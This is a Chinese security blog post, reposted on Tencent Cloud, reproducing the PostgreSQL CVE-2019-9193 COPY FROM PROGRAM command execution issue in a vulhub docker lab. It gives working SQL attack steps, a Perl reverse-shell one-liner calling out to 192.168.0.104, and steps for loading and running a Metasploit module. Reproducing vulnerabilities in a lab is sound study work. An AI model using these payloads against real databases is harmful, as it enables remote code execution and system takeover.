前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)复现

PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)复现

作者头像
用户5878089
发布2019-07-25 16:40:44
6.5K0
发布2019-07-25 16:40:44
举报

漏洞介绍

无意中看到这个漏洞 也看到这个漏洞的分析文章 看不懂原理 跟着复现

PostgreSQL,俗称Postgres,是世界上最受欢迎的数据库系统之一。它是Mac OSX系统的主力数据库,同时也有Linux和Windows版本。

CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac。

漏洞原理

从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

攻击步骤

  • [可选]删除你想使用但已存在的表
代码语言:javascript
复制
  DROP TABLE IF EXISTS cmd_exec;
  • 创建保存系统命令输出的表
代码语言:javascript
复制
CREATE TABLE cmd_exec(cmd_output text);
  • 通过COPY FROM PROGRAM功能运行系统命令
代码语言:javascript
复制
COPY cmd_exec FROM PROGRAM 'id';
  • [可选]查看结果
代码语言:javascript
复制
  SELECT * FROM cmd_exec;

需要注意的是原本命令中的任何单引号都必须转换为双引号才能正常生效 ## 漏洞复现

  1. 环境搭建 p牛的漏洞库可以用更新了 可以直接从页面中
代码语言:javascript
复制
https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193

然后

代码语言:javascript
复制
docker-compose up -d
  1. 尝试攻击
代码语言:javascript
复制
     DROP TABLE IF EXISTS cmd_exec;
     CREATE TABLE cmd_exec(cmd_output text);
     COPY cmd_exec FROM PROGRAM 'id';
     SELECT * FROM cmd_exec;
代码语言:javascript
复制
     COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"';

进阶利用

可以直接使用msf的模块进行攻击

地址如下:

代码语言:javascript
复制
  https://github.com/Greenwolf/postgres_cmd_execution_nine_three

不过这里得说明一下,使用这个模块是需要会一点基础的ruby知识,代码里面是有彩蛋的,我也踩了点坑。我想,应该是代码作者有意而为之,不能让别有用心的人直接拿过来用吧。具体是什么的就不说了,自行测试,哈哈。

利用步骤:

  1. 打开kali下载postgres_cmd_execution_nine_three.rb 修改完毕之后,将文件拷贝到/usr/share/metasploit-framework/modules/exploits/multi/postgres/postgres_cmd_execution_nine_three.rb路径中去 然后在msfconsole中
代码语言:javascript
复制
reload_all
  1. 加载模块,设置参数
代码语言:javascript
复制
use exploits/multi/postgres/postgres_cmd_execution_nine_three
  1. 开始攻击
代码语言:javascript
复制
exploit

## 参考文章

代码语言:javascript
复制
https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-03-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞介绍
    • 漏洞原理
      • 攻击步骤
        • 进阶利用
        相关产品与服务
        数据库
        云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档